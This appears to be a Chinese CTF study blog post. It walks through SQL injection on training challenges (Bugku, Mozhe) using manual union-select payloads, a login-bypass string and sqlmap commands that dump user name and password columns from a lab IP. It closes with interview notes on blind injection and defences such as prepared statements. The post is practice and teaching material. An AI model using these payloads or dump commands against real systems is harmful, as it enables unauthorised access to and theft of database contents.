2021-08-13

菜鸡写着玩玩DAY2 概要
1 ctf
2 面试题

bugku 成绩查询

随便输 123啥的
在这里插入图片描述

获取列数,因为上面已经输出名字和3科分数,所以就猜4和5
id=1’ order by 4#

在这里插入图片描述
id=1’ order by 5# 不显示结果 说明查询结果中有4列

在这里插入图片描述
知道了是4列 故用联合查询 得到库名
id=s’ union select 1,2,3, database()#
在这里插入图片描述
知道了库名是skctf 下一步 求表名
id=a’ union select 1,1,1,concat(table_name) from information_schema.tables where table_schema=‘skctf’#
#information_schema.tables 用于查询表的信息
#table_schema=‘skcf_flag’ 指定要查询的表名 ps表名记着加引号
在这里插入图片描述
知道了表名 求列名
id=a’ union select 1,2,3,concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fl4g’# ps column 别拼错
在这里插入图片描述
数据库名 database table_schema=‘skctf’
表名 table_name fl4g
列名 skctf_flag
则求该列名下的项 可以得到flag

*id=a’ union select 1,2,3,(select skctf_flag from fl4g)# select里套select要用括号
id=a’ union select 1,2,3,(select from fl4g)# 因为表fl4g中只有一列一条数据,所以也可以直接不用列名,直接查表也可以。
在这里插入图片描述
用sqlmap
用burp抓包 从post数据包中注入
在这里插入图片描述

python sqlmap.py -r “C:\Users\sakuraty\Desktop\111.txt” -p “id” --dbs
在这里插入图片描述
在这里插入图片描述
找到数据库,information_schema是默认数据库,所以查看skctf_flag库,猜数据库中的表

Python sqlmap.py -r "C:\Users\lenovo\Desktop\111.txt" -p id -D skctf --tables
在这里插入图片描述
ps注意把库名写对

获得表中列的值

python sqlmap.py -r "C:\Users\lenovo\Desktop\111.txt" -p “id” --columns -T fl4g -D skctf

在这里插入图片描述

======================================
php的万能密码 admin’ or ‘1’='1
在这里插入图片描述
在这里插入图片描述

BUUCTF

题目地址:https://buuoj.cn/challenges#wireshark在这里插入图片描述
在这里插入图片描述
flag{ffb7567a1d4f4abdffdb54e022f8facd}

wireshark分析 https://huanghelouzi.blog.csdn.net/article/details/88628590?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.baidujsUnder6&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.baidujsUnder6

题目 https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
用sqlmap注意大小写
得到库名

/sqlmap -u http://219.153.49.228:42816/new_list.php?id=1 -D mozhe_Discuz_Stormgroup --tables

available databases [5]:
[] information_schema
[
] mozhe_Discuz_StormGroup
[] mysql
[
] performance_schema
[*] sys
得到表名

/sqlmap -u http://219.153.49.228:42816/new_list.php?id=1 -D mozhe_Discuz_Stormgroup --tables

mozhe_Discuz_StormGroup
[2 tables]
±------------------+
| StormGroup_member |
| notice |
由表获得列

sqlmap -u http://219.153.49.228:42816/new_list.php?id=1  --columns -T StormGroup_member -D mozhe_Discuz_StormGroup

| Column | Type |
±---------±-------------+
| id | int(11) |
| name | varchar(20) |
| password | varchar(255) |
| status | int(11) |
脱库

sqlmap -u http://219.153.49.228:42816/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T  StormGroup_member -C name,password --dump

高频面试问答题:SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1.可以注入成功的前提:
(1).代码混合在数据中,使得恶意代码获得执行
(2).用户可以输入,且输入的语句被构造成SQL语句并获得执行。
2.各种注入串的效果:
首先明确and 和 or的优先级:and的优先级要比较高
尝试一下各种字符串的登录效果:
a’#——能登陆,用户a
’ or 1#——能登陆,用户a
alice’ #——能登陆,用户alice
a’ and ‘1 ——不能登录
a’ or ‘1 —— 能登陆,用户a
b’ or ‘1 ——能登陆,用户b
a’ or 1# ——能登陆,用户a
b’ or 1 # ——能登陆,但注意用户是a
盲注 ——没有直接的返回的数据,但是通过查询的表现,譬如延时来窃取信息的方法。
利用and和时间函数(sleep())相连接。
例如:执行时运用的语句为:XXXX and sleep(10);——若数据库中存在XXX名字,则执行后面的休息;若数据库中没有XXX的名字,则后面也不会执行。
防御
(一)SQL注入本质是利用数据注入代码,
所以防御就要求区分数据和代码——过滤和转义
1.过滤特殊符号
开启:magic_quote_gpc
选上之后,PHP代码就可以在用户输入的时候对用户的输入进行处理,把所有的特殊符号如’、“等都加上\进行转义
2.利用prepare_statement
Prepare_statement的作用是规定好需要的参数的类型,同时对用户的输入进行鉴别和处理;保证用户的输入不可能作为代码被执行。
指明了数据类型,将数据和代码分离,将用户输入全部转换成字符串形式
在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值